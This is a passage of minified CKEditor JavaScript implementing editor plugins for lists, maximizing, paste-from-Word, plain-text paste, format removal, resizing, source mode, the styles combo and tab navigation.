e=new CKEDITOR.dom.walker(e);e.evaluator=function(a){return q(a)&&!v(a)};(e=e.next())&&(e.type==CKEDITOR.NODE_ELEMENT&&e.getName()in CKEDITOR.dtd.$list)&&B(e);k.moveToBookmark(f);k.select();b.fire("saveSnapshot")}function w(b){return(b=b.getLast(q))&&b.type==CKEDITOR.NODE_ELEMENT&&b.getName()in r?b:null}var r={ol:1,ul:1},G=CKEDITOR.dom.walker.whitespaces(),D=CKEDITOR.dom.walker.bookmark(),q=function(b){return!(G(b)||D(b))},v=CKEDITOR.dom.walker.bogus();CKEDITOR.plugins.list={listToArray:function(b,
k,e,d,f){if(!r[b.getName()])return[];d||(d=0);e||(e=[]);for(var g=0,i=b.getChildCount();g<i;g++){var h=b.getChild(g);h.type==CKEDITOR.NODE_ELEMENT&&h.getName()in CKEDITOR.dtd.$list&&CKEDITOR.plugins.list.listToArray(h,k,e,d+1);if("li"==h.$.nodeName.toLowerCase()){var c={parent:b,indent:d,element:h,contents:[]};f?c.grandparent=f:(c.grandparent=b.getParent(),c.grandparent&&"li"==c.grandparent.$.nodeName.toLowerCase()&&(c.grandparent=c.grandparent.getParent()));k&&CKEDITOR.dom.element.setMarker(k,h,
"listarray_index",e.length);e.push(c);for(var a=0,m=h.getChildCount(),j;a<m;a++)j=h.getChild(a),j.type==CKEDITOR.NODE_ELEMENT&&r[j.getName()]?CKEDITOR.plugins.list.listToArray(j,k,e,d+1,c.grandparent):c.contents.push(j)}}return e},arrayToList:function(b,k,e,d,f){e||(e=0);if(!b||b.length<e+1)return null;for(var g,i=b[e].parent.getDocument(),h=new CKEDITOR.dom.documentFragment(i),c=null,a=e,m=Math.max(b[e].indent,0),j=null,n,l,p=d==CKEDITOR.ENTER_P?"p":"div";;){var o=b[a];g=o.grandparent;n=o.element.getDirection(1);
if(o.indent==m){if(!c||b[a].parent.getName()!=c.getName())c=b[a].parent.clone(!1,1),f&&c.setAttribute("dir",f),h.append(c);j=c.append(o.element.clone(0,1));n!=c.getDirection(1)&&j.setAttribute("dir",n);for(g=0;g<o.contents.length;g++)j.append(o.contents[g].clone(1,1));a++}else if(o.indent==Math.max(m,0)+1)o=b[a-1].element.getDirection(1),a=CKEDITOR.plugins.list.arrayToList(b,null,a,d,o!=n?n:null),!j.getChildCount()&&(CKEDITOR.env.needsNbspFiller&&7>=i.$.documentMode)&&j.append(i.createText(" ")),
j.append(a.listNode),a=a.nextIndex;else if(-1==o.indent&&!e&&g){r[g.getName()]?(j=o.element.clone(!1,!0),n!=g.getDirection(1)&&j.setAttribute("dir",n)):j=new CKEDITOR.dom.documentFragment(i);var c=g.getDirection(1)!=n,u=o.element,z=u.getAttribute("class"),v=u.getAttribute("style"),w=j.type==CKEDITOR.NODE_DOCUMENT_FRAGMENT&&(d!=CKEDITOR.ENTER_BR||c||v||z),s,x=o.contents.length,t;for(g=0;g<x;g++)if(s=o.contents[g],D(s)&&1<x)w?t=s.clone(1,1):j.append(s.clone(1,1));else if(s.type==CKEDITOR.NODE_ELEMENT&&
s.isBlockBoundary()){c&&!s.getDirection()&&s.setAttribute("dir",n);l=s;var y=u.getAttribute("style");y&&l.setAttribute("style",y.replace(/([^;])$/,"$1;")+(l.getAttribute("style")||""));z&&s.addClass(z);l=null;t&&(j.append(t),t=null);j.append(s.clone(1,1))}else w?(l||(l=i.createElement(p),j.append(l),c&&l.setAttribute("dir",n)),v&&l.setAttribute("style",v),z&&l.setAttribute("class",z),t&&(l.append(t),t=null),l.append(s.clone(1,1))):j.append(s.clone(1,1));t&&((l||j).append(t),t=null);j.type==CKEDITOR.NODE_DOCUMENT_FRAGMENT&&
a!=b.length-1&&(CKEDITOR.env.needsBrFiller&&(n=j.getLast())&&(n.type==CKEDITOR.NODE_ELEMENT&&n.is("br"))&&n.remove(),n=j.getLast(q),(!n||!(n.type==CKEDITOR.NODE_ELEMENT&&n.is(CKEDITOR.dtd.$block)))&&j.append(i.createElement("br")));n=j.$.nodeName.toLowerCase();("div"==n||"p"==n)&&j.appendBogus();h.append(j);c=null;a++}else return null;l=null;if(b.length<=a||Math.max(b[a].indent,0)<m)break}if(k)for(b=h.getFirst();b;){if(b.type==CKEDITOR.NODE_ELEMENT&&(CKEDITOR.dom.element.clearMarkers(k,b),b.getName()in
CKEDITOR.dtd.$listItem&&(e=b,i=f=d=void 0,d=e.getDirection()))){for(f=e.getParent();f&&!(i=f.getDirection());)f=f.getParent();d==i&&e.removeAttribute("dir")}b=b.getNextSourceNode()}return{listNode:h,nextIndex:a}}};var H=/^h[1-6]$/,F=CKEDITOR.dom.walker.nodeType(CKEDITOR.NODE_ELEMENT);x.prototype={exec:function(b){this.refresh(b,b.elementPath());var k=b.config,e=b.getSelection(),d=e&&e.getRanges();if(this.state==CKEDITOR.TRISTATE_OFF){var f=b.editable();if(f.getFirst(q)){var g=1==d.length&&d[0];(k=
g&&g.getEnclosedNode())&&(k.is&&this.type==k.getName())&&this.setState(CKEDITOR.TRISTATE_ON)}else k.enterMode==CKEDITOR.ENTER_BR?f.appendBogus():d[0].fixBlock(1,k.enterMode==CKEDITOR.ENTER_P?"p":"div"),e.selectRanges(d)}for(var k=e.createBookmarks(!0),f=[],i={},d=d.createIterator(),h=0;(g=d.getNextRange())&&++h;){var c=g.getBoundaryNodes(),a=c.startNode,m=c.endNode;a.type==CKEDITOR.NODE_ELEMENT&&"td"==a.getName()&&g.setStartAt(c.startNode,CKEDITOR.POSITION_AFTER_START);m.type==CKEDITOR.NODE_ELEMENT&&
"td"==m.getName()&&g.setEndAt(c.endNode,CKEDITOR.POSITION_BEFORE_END);g=g.createIterator();for(g.forceBrBreak=this.state==CKEDITOR.TRISTATE_OFF;c=g.getNextParagraph();)if(!c.getCustomData("list_block")){CKEDITOR.dom.element.setMarker(i,c,"list_block",1);for(var j=b.elementPath(c),a=j.elements,m=0,j=j.blockLimit,n,l=a.length-1;0<=l&&(n=a[l]);l--)if(r[n.getName()]&&j.contains(n)){j.removeCustomData("list_group_object_"+h);(a=n.getCustomData("list_group_object"))?a.contents.push(c):(a={root:n,contents:[c]},
f.push(a),CKEDITOR.dom.element.setMarker(i,n,"list_group_object",a));m=1;break}m||(m=j,m.getCustomData("list_group_object_"+h)?m.getCustomData("list_group_object_"+h).contents.push(c):(a={root:m,contents:[c]},CKEDITOR.dom.element.setMarker(i,m,"list_group_object_"+h,a),f.push(a)))}}for(n=[];0<f.length;)if(a=f.shift(),this.state==CKEDITOR.TRISTATE_OFF)if(r[a.root.getName()]){d=b;h=a;a=i;g=n;m=CKEDITOR.plugins.list.listToArray(h.root,a);j=[];for(c=0;c<h.contents.length;c++)if(l=h.contents[c],(l=l.getAscendant("li",
!0))&&!l.getCustomData("list_item_processed"))j.push(l),CKEDITOR.dom.element.setMarker(a,l,"list_item_processed",!0);for(var l=h.root.getDocument(),p=void 0,o=void 0,c=0;c<j.length;c++){var u=j[c].getCustomData("listarray_index"),p=m[u].parent;p.is(this.type)||(o=l.createElement(this.type),p.copyAttributes(o,{start:1,type:1}),o.removeStyle("list-style-type"),m[u].parent=o)}a=CKEDITOR.plugins.list.arrayToList(m,a,null,d.config.enterMode);m=void 0;j=a.listNode.getChildCount();for(c=0;c<j&&(m=a.listNode.getChild(c));c++)m.getName()==
this.type&&g.push(m);a.listNode.replace(h.root);d.fire("contentDomInvalidated")}else{m=b;c=a;g=n;j=c.contents;d=c.root.getDocument();h=[];1==j.length&&j[0].equals(c.root)&&(a=d.createElement("div"),j[0].moveChildren&&j[0].moveChildren(a),j[0].append(a),j[0]=a);c=c.contents[0].getParent();for(l=0;l<j.length;l++)c=c.getCommonAncestor(j[l].getParent());p=m.config.useComputedState;m=a=void 0;p=void 0===p||p;for(l=0;l<j.length;l++)for(o=j[l];u=o.getParent();){if(u.equals(c)){h.push(o);!m&&o.getDirection()&&
(m=1);o=o.getDirection(p);null!==a&&(a=a&&a!=o?null:o);break}o=u}if(!(1>h.length)){j=h[h.length-1].getNext();l=d.createElement(this.type);g.push(l);for(p=g=void 0;h.length;)g=h.shift(),p=d.createElement("li"),g.is("pre")||H.test(g.getName())||"false"==g.getAttribute("contenteditable")?g.appendTo(p):(g.copyAttributes(p),a&&g.getDirection()&&(p.removeStyle("direction"),p.removeAttribute("dir")),g.moveChildren(p),g.remove()),p.appendTo(l);a&&m&&l.setAttribute("dir",a);j?l.insertBefore(j):l.appendTo(c)}}else this.state==
CKEDITOR.TRISTATE_ON&&r[a.root.getName()]&&E.call(this,b,a,i);for(l=0;l<n.length;l++)B(n[l]);CKEDITOR.dom.element.clearAllMarkers(i);e.selectBookmarks(k);b.focus()},refresh:function(b,k){var e=k.contains(r,1),d=k.blockLimit||k.root;e&&d.contains(e)?this.setState(e.is(this.type)?CKEDITOR.TRISTATE_ON:CKEDITOR.TRISTATE_OFF):this.setState(CKEDITOR.TRISTATE_OFF)}};CKEDITOR.plugins.add("list",{requires:"indentlist",init:function(b){b.blockless||(b.addCommand("numberedlist",new x("numberedlist","ol")),b.addCommand("bulletedlist",
new x("bulletedlist","ul")),b.ui.addButton&&(b.ui.addButton("NumberedList",{label:b.lang.list.numberedlist,command:"numberedlist",directional:!0,toolbar:"list,10"}),b.ui.addButton("BulletedList",{label:b.lang.list.bulletedlist,command:"bulletedlist",directional:!0,toolbar:"list,20"})),b.on("key",function(k){var e=k.data.domEvent.getKey(),d;if(b.mode=="wysiwyg"&&e in{8:1,46:1}){var f=b.getSelection().getRanges()[0],g=f&&f.startPath();if(f&&f.collapsed){var i=e==8,h=b.editable(),c=new CKEDITOR.dom.walker(f.clone());
c.evaluator=function(a){return q(a)&&!v(a)};c.guard=function(a,b){return!(b&&a.type==CKEDITOR.NODE_ELEMENT&&a.is("table"))};e=f.clone();if(i){var a;if((a=g.contains(r))&&f.checkBoundaryOfElement(a,CKEDITOR.START)&&(a=a.getParent())&&a.is("li")&&(a=w(a))){d=a;a=a.getPrevious(q);e.moveToPosition(a&&v(a)?a:d,CKEDITOR.POSITION_BEFORE_START)}else{c.range.setStartAt(h,CKEDITOR.POSITION_AFTER_START);c.range.setEnd(f.startContainer,f.startOffset);if((a=c.previous())&&a.type==CKEDITOR.NODE_ELEMENT&&(a.getName()in
r||a.is("li"))){if(!a.is("li")){c.range.selectNodeContents(a);c.reset();c.evaluator=C;a=c.previous()}d=a;e.moveToElementEditEnd(d)}}if(d){y(b,e,f);k.cancel()}else if((e=g.contains(r))&&f.checkBoundaryOfElement(e,CKEDITOR.START)){d=e.getFirst(q);if(f.checkBoundaryOfElement(d,CKEDITOR.START)){a=e.getPrevious(q);if(w(d)){if(a){f.moveToElementEditEnd(a);f.select()}}else b.execCommand("outdent");k.cancel()}}}else if(d=g.contains("li")){c.range.setEndAt(h,CKEDITOR.POSITION_BEFORE_END);d=(g=d.getLast(q))&&
C(g)?g:d;h=0;if((a=c.next())&&a.type==CKEDITOR.NODE_ELEMENT&&a.getName()in r&&a.equals(g)){h=1;a=c.next()}else f.checkBoundaryOfElement(d,CKEDITOR.END)&&(h=1);if(h&&a){f=f.clone();f.moveToElementEditStart(a);y(b,e,f);k.cancel()}}else{c.range.setEndAt(h,CKEDITOR.POSITION_BEFORE_END);if((a=c.next())&&a.type==CKEDITOR.NODE_ELEMENT&&a.is(r)){a=a.getFirst(q);if(g.block&&f.checkStartOfBlock()&&f.checkEndOfBlock()){g.block.remove();f.moveToElementEditStart(a);f.select()}else if(w(a)){f.moveToElementEditStart(a);
f.select()}else{f=f.clone();f.moveToElementEditStart(a);y(b,e,f)}k.cancel()}}setTimeout(function(){b.selectionChange(1)})}}}))}})})();(function(){function l(a){if(!a||a.type!=CKEDITOR.NODE_ELEMENT||"form"!=a.getName())return[];for(var e=[],f=["style","className"],b=0;b<f.length;b++){var d=a.$.elements.namedItem(f[b]);d&&(d=new CKEDITOR.dom.element(d),e.push([d,d.nextSibling]),d.remove())}return e}function o(a,e){if(a&&!(a.type!=CKEDITOR.NODE_ELEMENT||"form"!=a.getName())&&0<e.length)for(var f=e.length-1;0<=f;f--){var b=e[f][0],d=e[f][1];d?b.insertBefore(d):b.appendTo(a)}}function n(a,e){var f=l(a),b={},d=a.$;e||(b["class"]=d.className||
"",d.className="");b.inline=d.style.cssText||"";e||(d.style.cssText="position: static; overflow: visible");o(f);return b}function p(a,e){var f=l(a),b=a.$;"class"in e&&(b.className=e["class"]);"inline"in e&&(b.style.cssText=e.inline);o(f)}function q(a){if(!a.editable().isInline()){var e=CKEDITOR.instances,f;for(f in e){var b=e[f];"wysiwyg"==b.mode&&!b.readOnly&&(b=b.document.getBody(),b.setAttribute("contentEditable",!1),b.setAttribute("contentEditable",!0))}a.editable().hasFocus&&(a.toolbox.focus(),
a.focus())}}CKEDITOR.plugins.add("maximize",{init:function(a){function e(){var b=d.getViewPaneSize();a.resize(b.width,b.height,null,!0)}if(a.elementMode!=CKEDITOR.ELEMENT_MODE_INLINE){var f=a.lang,b=CKEDITOR.document,d=b.getWindow(),j,k,m,l=CKEDITOR.TRISTATE_OFF;a.addCommand("maximize",{modes:{wysiwyg:!CKEDITOR.env.iOS,source:!CKEDITOR.env.iOS},readOnly:1,editorFocus:!1,exec:function(){var h=a.container.getFirst(function(a){return a.type==CKEDITOR.NODE_ELEMENT&&a.hasClass("cke_inner")}),g=a.ui.space("contents");
if("wysiwyg"==a.mode){var c=a.getSelection();j=c&&c.getRanges();k=d.getScrollPosition()}else{var i=a.editable().$;j=!CKEDITOR.env.ie&&[i.selectionStart,i.selectionEnd];k=[i.scrollLeft,i.scrollTop]}if(this.state==CKEDITOR.TRISTATE_OFF){d.on("resize",e);m=d.getScrollPosition();for(c=a.container;c=c.getParent();)c.setCustomData("maximize_saved_styles",n(c)),c.setStyle("z-index",a.config.baseFloatZIndex-5);g.setCustomData("maximize_saved_styles",n(g,!0));h.setCustomData("maximize_saved_styles",n(h,!0));
g={overflow:CKEDITOR.env.webkit?"":"hidden",width:0,height:0};b.getDocumentElement().setStyles(g);!CKEDITOR.env.gecko&&b.getDocumentElement().setStyle("position","fixed");(!CKEDITOR.env.gecko||!CKEDITOR.env.quirks)&&b.getBody().setStyles(g);CKEDITOR.env.ie?setTimeout(function(){d.$.scrollTo(0,0)},0):d.$.scrollTo(0,0);h.setStyle("position",CKEDITOR.env.gecko&&CKEDITOR.env.quirks?"fixed":"absolute");h.$.offsetLeft;h.setStyles({"z-index":a.config.baseFloatZIndex-5,left:"0px",top:"0px"});h.addClass("cke_maximized");
e();g=h.getDocumentPosition();h.setStyles({left:-1*g.x+"px",top:-1*g.y+"px"});CKEDITOR.env.gecko&&q(a)}else if(this.state==CKEDITOR.TRISTATE_ON){d.removeListener("resize",e);g=[g,h];for(c=0;c<g.length;c++)p(g[c],g[c].getCustomData("maximize_saved_styles")),g[c].removeCustomData("maximize_saved_styles");for(c=a.container;c=c.getParent();)p(c,c.getCustomData("maximize_saved_styles")),c.removeCustomData("maximize_saved_styles");CKEDITOR.env.ie?setTimeout(function(){d.$.scrollTo(m.x,m.y)},0):d.$.scrollTo(m.x,
m.y);h.removeClass("cke_maximized");CKEDITOR.env.webkit&&(h.setStyle("display","inline"),setTimeout(function(){h.setStyle("display","block")},0));a.fire("resize")}this.toggleState();if(c=this.uiItems[0])g=this.state==CKEDITOR.TRISTATE_OFF?f.maximize.maximize:f.maximize.minimize,c=CKEDITOR.document.getById(c._.id),c.getChild(1).setHtml(g),c.setAttribute("title",g),c.setAttribute("href",'javascript:void("'+g+'");');"wysiwyg"==a.mode?j?(CKEDITOR.env.gecko&&q(a),a.getSelection().selectRanges(j),(i=a.getSelection().getStartElement())&&
i.scrollIntoView(!0)):d.$.scrollTo(k.x,k.y):(j&&(i.selectionStart=j[0],i.selectionEnd=j[1]),i.scrollLeft=k[0],i.scrollTop=k[1]);j=k=null;l=this.state;a.fire("maximize",this.state)},canUndo:!1});a.ui.addButton&&a.ui.addButton("Maximize",{label:f.maximize.maximize,command:"maximize",toolbar:"tools,10"});a.on("mode",function(){var b=a.getCommand("maximize");b.setState(b.state==CKEDITOR.TRISTATE_DISABLED?CKEDITOR.TRISTATE_DISABLED:l)},null,null,100)}}})})();(function(){function h(a,d,f){var b=CKEDITOR.cleanWord;b?f():(a=CKEDITOR.getUrl(a.config.pasteFromWordCleanupFile||d+"filter/default.js"),CKEDITOR.scriptLoader.load(a,f,null,!0));return!b}function i(a){a.data.type="html"}CKEDITOR.plugins.add("pastefromword",{requires:"clipboard",init:function(a){var d=0,f=this.path;a.addCommand("pastefromword",{canUndo:!1,async:!0,exec:function(a){var e=this;d=1;a.once("beforePaste",i);a.getClipboardData({title:a.lang.pastefromword.title},function(c){c&&a.fire("paste",
{type:"html",dataValue:c.dataValue});a.fire("afterCommandExec",{name:"pastefromword",command:e,returnValue:!!c})})}});a.ui.addButton&&a.ui.addButton("PasteFromWord",{label:a.lang.pastefromword.toolbar,command:"pastefromword",toolbar:"clipboard,50"});a.on("pasteState",function(b){a.getCommand("pastefromword").setState(b.data)});a.on("paste",function(b){var e=b.data,c=e.dataValue;if(c&&(d||/(class=\"?Mso|style=\"[^\"]*\bmso\-|w:WordDocument)/.test(c))){var g=h(a,f,function(){if(g)a.fire("paste",e);
else if(!a.config.pasteFromWordPromptCleanup||d||confirm(a.lang.pastefromword.confirmCleanup))e.dataValue=CKEDITOR.cleanWord(c,a);d=0});g&&b.cancel()}},null,null,3)}})})();(function(){var c={canUndo:!1,async:!0,exec:function(a){a.getClipboardData({title:a.lang.pastetext.title},function(b){b&&a.fire("paste",{type:"text",dataValue:b.dataValue});a.fire("afterCommandExec",{name:"pastetext",command:c,returnValue:!!b})})}};CKEDITOR.plugins.add("pastetext",{requires:"clipboard",init:function(a){a.addCommand("pastetext",c);a.ui.addButton&&a.ui.addButton("PasteText",{label:a.lang.pastetext.button,command:"pastetext",toolbar:"clipboard,40"});if(a.config.forcePasteAsPlainText)a.on("beforePaste",
function(a){"html"!=a.data.type&&(a.data.type="text")});a.on("pasteState",function(b){a.getCommand("pastetext").setState(b.data)})}})})();CKEDITOR.plugins.add("removeformat",{init:function(a){a.addCommand("removeFormat",CKEDITOR.plugins.removeformat.commands.removeformat);a.ui.addButton&&a.ui.addButton("RemoveFormat",{label:a.lang.removeformat.toolbar,command:"removeFormat",toolbar:"cleanup,10"})}});
CKEDITOR.plugins.removeformat={commands:{removeformat:{exec:function(a){for(var h=a._.removeFormatRegex||(a._.removeFormatRegex=RegExp("^(?:"+a.config.removeFormatTags.replace(/,/g,"|")+")$","i")),e=a._.removeAttributes||(a._.removeAttributes=a.config.removeFormatAttributes.split(",")),f=CKEDITOR.plugins.removeformat.filter,k=a.getSelection().getRanges(),l=k.createIterator(),m=function(a){return a.type==CKEDITOR.NODE_ELEMENT},c;c=l.getNextRange();){c.collapsed||c.enlarge(CKEDITOR.ENLARGE_ELEMENT);
var j=c.createBookmark(),b=j.startNode,d=j.endNode,i=function(b){for(var c=a.elementPath(b),e=c.elements,d=1,g;(g=e[d])&&!g.equals(c.block)&&!g.equals(c.blockLimit);d++)h.test(g.getName())&&f(a,g)&&b.breakParent(g)};i(b);if(d){i(d);for(b=b.getNextSourceNode(!0,CKEDITOR.NODE_ELEMENT);b&&!b.equals(d);)if(b.isReadOnly()){if(b.getPosition(d)&CKEDITOR.POSITION_CONTAINS)break;b=b.getNext(m)}else i=b.getNextSourceNode(!1,CKEDITOR.NODE_ELEMENT),!("img"==b.getName()&&b.data("cke-realelement"))&&f(a,b)&&(h.test(b.getName())?
b.remove(1):(b.removeAttributes(e),a.fire("removeFormatCleanup",b))),b=i}c.moveToBookmark(j)}a.forceNextSelectionCheck();a.getSelection().selectRanges(k)}}},filter:function(a,h){for(var e=a._.removeFormatFilters||[],f=0;f<e.length;f++)if(!1===e[f](h))return!1;return!0}};CKEDITOR.editor.prototype.addRemoveFormatFilter=function(a){this._.removeFormatFilters||(this._.removeFormatFilters=[]);this._.removeFormatFilters.push(a)};CKEDITOR.config.removeFormatTags="b,big,cite,code,del,dfn,em,font,i,ins,kbd,q,s,samp,small,span,strike,strong,sub,sup,tt,u,var";
CKEDITOR.config.removeFormatAttributes="class,style,lang,width,height,align,hspace,valign";CKEDITOR.plugins.add("resize",{init:function(b){var f,g,n,o;function c(d){var e=f,l=g,c=e+(d.data.$.screenX-n)*("rtl"==h?-1:1),d=l+(d.data.$.screenY-o);i&&(e=Math.max(a.resize_minWidth,Math.min(c,a.resize_maxWidth)));m&&(l=Math.max(a.resize_minHeight,Math.min(d,a.resize_maxHeight)));b.resize(i?e:null,l)}function j(){CKEDITOR.document.removeListener("mousemove",c);CKEDITOR.document.removeListener("mouseup",j);b.document&&(b.document.removeListener("mousemove",c),b.document.removeListener("mouseup",
j))}var a=b.config,q=b.ui.spaceId("resizer"),h=b.element?b.element.getDirection(1):"ltr";!a.resize_dir&&(a.resize_dir="vertical");void 0===a.resize_maxWidth&&(a.resize_maxWidth=3E3);void 0===a.resize_maxHeight&&(a.resize_maxHeight=3E3);void 0===a.resize_minWidth&&(a.resize_minWidth=750);void 0===a.resize_minHeight&&(a.resize_minHeight=250);if(!1!==a.resize_enabled){var k=null,i=("both"==a.resize_dir||"horizontal"==a.resize_dir)&&a.resize_minWidth!=a.resize_maxWidth,m=("both"==a.resize_dir||"vertical"==
a.resize_dir)&&a.resize_minHeight!=a.resize_maxHeight,p=CKEDITOR.tools.addFunction(function(d){k||(k=b.getResizable());f=k.$.offsetWidth||0;g=k.$.offsetHeight||0;n=d.screenX;o=d.screenY;a.resize_minWidth>f&&(a.resize_minWidth=f);a.resize_minHeight>g&&(a.resize_minHeight=g);CKEDITOR.document.on("mousemove",c);CKEDITOR.document.on("mouseup",j);b.document&&(b.document.on("mousemove",c),b.document.on("mouseup",j));d.preventDefault&&d.preventDefault()});b.on("destroy",function(){CKEDITOR.tools.removeFunction(p)});
b.on("uiSpace",function(a){if("bottom"==a.data.space){var e="";i&&!m&&(e=" cke_resizer_horizontal");!i&&m&&(e=" cke_resizer_vertical");var c='<span id="'+q+'" class="cke_resizer'+e+" cke_resizer_"+h+'" title="'+CKEDITOR.tools.htmlEncode(b.lang.common.resize)+'" onmousedown="CKEDITOR.tools.callFunction('+p+', event)">'+("ltr"==h?"◢":"◣")+"</span>";"ltr"==h&&"ltr"==e?a.data.html+=c:a.data.html=c+a.data.html}},b,null,100);b.on("maximize",function(a){b.ui.space("resizer")[a.data==CKEDITOR.TRISTATE_ON?
"hide":"show"]()})}}});(function(){CKEDITOR.plugins.add("sourcearea",{init:function(a){function d(){var a=e&&this.equals(CKEDITOR.document.getActive());this.hide();this.setStyle("height",this.getParent().$.clientHeight+"px");this.setStyle("width",this.getParent().$.clientWidth+"px");this.show();a&&this.focus()}if(a.elementMode!=CKEDITOR.ELEMENT_MODE_INLINE){var f=CKEDITOR.plugins.sourcearea;a.addMode("source",function(e){var b=a.ui.space("contents").getDocument().createElement("textarea");b.setStyles(CKEDITOR.tools.extend({width:CKEDITOR.env.ie7Compat?
"99%":"100%",height:"100%",resize:"none",outline:"none","text-align":"left"},CKEDITOR.tools.cssVendorPrefix("tab-size",a.config.sourceAreaTabSize||4)));b.setAttribute("dir","ltr");b.addClass("cke_source cke_reset cke_enable_context_menu");a.ui.space("contents").append(b);b=a.editable(new c(a,b));b.setData(a.getData(1));CKEDITOR.env.ie&&(b.attachListener(a,"resize",d,b),b.attachListener(CKEDITOR.document.getWindow(),"resize",d,b),CKEDITOR.tools.setTimeout(d,0,b));a.fire("ariaWidget",this);e()});a.addCommand("source",
f.commands.source);a.ui.addButton&&a.ui.addButton("Source",{label:a.lang.sourcearea.toolbar,command:"source",toolbar:"mode,10"});a.on("mode",function(){a.getCommand("source").setState("source"==a.mode?CKEDITOR.TRISTATE_ON:CKEDITOR.TRISTATE_OFF)});var e=CKEDITOR.env.ie&&9==CKEDITOR.env.version}}});var c=CKEDITOR.tools.createClass({base:CKEDITOR.editable,proto:{setData:function(a){this.setValue(a);this.status="ready";this.editor.fire("dataReady")},getData:function(){return this.getValue()},insertHtml:function(){},
insertElement:function(){},insertText:function(){},setReadOnly:function(a){this[(a?"set":"remove")+"Attribute"]("readOnly","readonly")},detach:function(){c.baseProto.detach.call(this);this.clearCustomData();this.remove()}}})})();CKEDITOR.plugins.sourcearea={commands:{source:{modes:{wysiwyg:1,source:1},editorFocus:!1,readOnly:1,exec:function(c){"wysiwyg"==c.mode&&c.fire("saveSnapshot");c.getCommand("source").setState(CKEDITOR.TRISTATE_DISABLED);c.setMode("source"==c.mode?"wysiwyg":"source")},canUndo:!1}}};(function(){CKEDITOR.plugins.add("stylescombo",{requires:"richcombo",init:function(c){var j=c.config,g=c.lang.stylescombo,f={},i=[],k=[];c.on("stylesSet",function(b){if(b=b.data.styles){for(var a,h,d,e=0,l=b.length;e<l;e++)if(a=b[e],!(c.blockless&&a.element in CKEDITOR.dtd.$block)&&(h=a.name,a=new CKEDITOR.style(a),!c.filter.customConfig||c.filter.check(a)))a._name=h,a._.enterMode=j.enterMode,a._.type=d=a.assignedTo||a.type,a._.weight=e+1E3*(d==CKEDITOR.STYLE_OBJECT?1:d==CKEDITOR.STYLE_BLOCK?2:3),
f[h]=a,i.push(a),k.push(a);i.sort(function(a,b){return a._.weight-b._.weight})}});c.ui.addRichCombo("Styles",{label:g.label,title:g.panelTitle,toolbar:"styles,10",allowedContent:k,panel:{css:[CKEDITOR.skin.getPath("editor")].concat(j.contentsCss),multiSelect:!0,attributes:{"aria-label":g.panelTitle}},init:function(){var b,a,c,d,e,f;e=0;for(f=i.length;e<f;e++)b=i[e],a=b._name,d=b._.type,d!=c&&(this.startGroup(g["panelTitle"+d]),c=d),this.add(a,b.type==CKEDITOR.STYLE_OBJECT?a:b.buildPreview(),a);this.commit()},
onClick:function(b){c.focus();c.fire("saveSnapshot");var b=f[b],a=c.elementPath();c[b.checkActive(a,c)?"removeStyle":"applyStyle"](b);c.fire("saveSnapshot")},onRender:function(){c.on("selectionChange",function(b){for(var a=this.getValue(),b=b.data.path.elements,h=0,d=b.length,e;h<d;h++){e=b[h];for(var g in f)if(f[g].checkElementRemovable(e,!0,c)){g!=a&&this.setValue(g);return}}this.setValue("")},this)},onOpen:function(){var b=c.getSelection().getSelectedElement(),b=c.elementPath(b),a=[0,0,0,0];this.showAll();
this.unmarkAll();for(var h in f){var d=f[h],e=d._.type;d.checkApplicable(b,c,c.activeFilter)?a[e]++:this.hideItem(h);d.checkActive(b,c)&&this.mark(h)}a[CKEDITOR.STYLE_BLOCK]||this.hideGroup(g["panelTitle"+CKEDITOR.STYLE_BLOCK]);a[CKEDITOR.STYLE_INLINE]||this.hideGroup(g["panelTitle"+CKEDITOR.STYLE_INLINE]);a[CKEDITOR.STYLE_OBJECT]||this.hideGroup(g["panelTitle"+CKEDITOR.STYLE_OBJECT])},refresh:function(){var b=c.elementPath();if(b){for(var a in f)if(f[a].checkApplicable(b,c,c.activeFilter))return;
this.setState(CKEDITOR.TRISTATE_DISABLED)}},reset:function(){f={};i=[]}})}})})();(function(){function i(c){return{editorFocus:!1,canUndo:!1,modes:{wysiwyg:1},exec:function(d){if(d.editable().hasFocus){var e=d.getSelection(),b;if(b=(new CKEDITOR.dom.elementPath(e.getCommonAncestor(),e.root)).contains({td:1,th:1},1)){var e=d.createRange(),a=CKEDITOR.tools.tryThese(function(){var a=b.getParent().$.cells[b.$.cellIndex+(c?-1:1)];a.parentNode.parentNode;return a},function(){var a=b.getParent(),a=a.getAscendant("table").$.rows[a.$.rowIndex+(c?-1:1)];return a.cells[c?a.cells.length-1:
0]});if(!a&&!c){for(var f=b.getAscendant("table").$,a=b.getParent().$.cells,f=new CKEDITOR.dom.element(f.insertRow(-1),d.document),g=0,h=a.length;g<h;g++)f.append((new CKEDITOR.dom.element(a[g],d.document)).clone(!1,!1)).appendBogus();e.moveToElementEditStart(f)}else if(a)a=new CKEDITOR.dom.element(a),e.moveToElementEditStart(a),(!e.checkStartOfBlock()||!e.checkEndOfBlock())&&e.selectNodeContents(a);else return!0;e.select(!0);return!0}}return!1}}}var h={editorFocus:!1,modes:{wysiwyg:1,source:1}},
g={exec:function(c){c.container.focusNext(!0,c.tabIndex)}},f={exec:function(c){c.container.focusPrevious(!0,c.tabIndex)}};CKEDITOR.plugins.add("tab",{init:function(c){for(var d=!1!==c.config.enableTabKeyTools,e=c.config.tabSpaces||0,b="";e--;)b+=" ";if(b)c.on("key",function(a){9==a.data.keyCode&&(c.insertText(b),a.cancel())});if(d)c.on("key",function(a){(9==a.data.keyCode&&c.execCommand("selectNextCell")||a.data.keyCode==CKEDITOR.SHIFT+9&&c.execCommand("selectPreviousCell"))&&a.cancel()});c.addCommand("blur",
CKEDITOR.tools.extend(g,h));c.addCommand("blurBack",CKEDITOR.tools.extend(f,h));c.addCommand("selectNextCell",i());c.addCommand("selectPreviousCell",i(!0))}})})();
CKEDITOR.dom.element.prototype.focusNext=function(i,h){var g=void 0===h?this.getTabIndex():h,f,c,d,e,b,a;if(0>=g)for(b=this.getNextSourceNode(i,CKEDITOR.NODE_ELEMENT);b;){if(b.isVisible()&&0===b.getTabIndex()){d=b;break}b=b.getNextSourceNode(!1,CKEDITOR.NODE_ELEMENT)}else for(b=this.getDocument().getBody().getFirst();b=b.getNextSourceNode(!1,CKEDITOR.NODE_ELEMENT);){if(!f)if(!c&&b.equals(this)){if(c=!0,i){if(!(b=b.getNextSourceNode(!0,CKEDITOR.NODE_ELEMENT)))break;f=1}}else c&&!this.contains(b)&&
(f=1);if(b.isVisible()&&!(0>(a=b.getTabIndex()))){if(f&&a==g){d=b;break}a>g&&(!d||!e||a<e)?(d=b,e=a):!d&&0===a&&(d=b,e=a)}}d&&d.focus()};
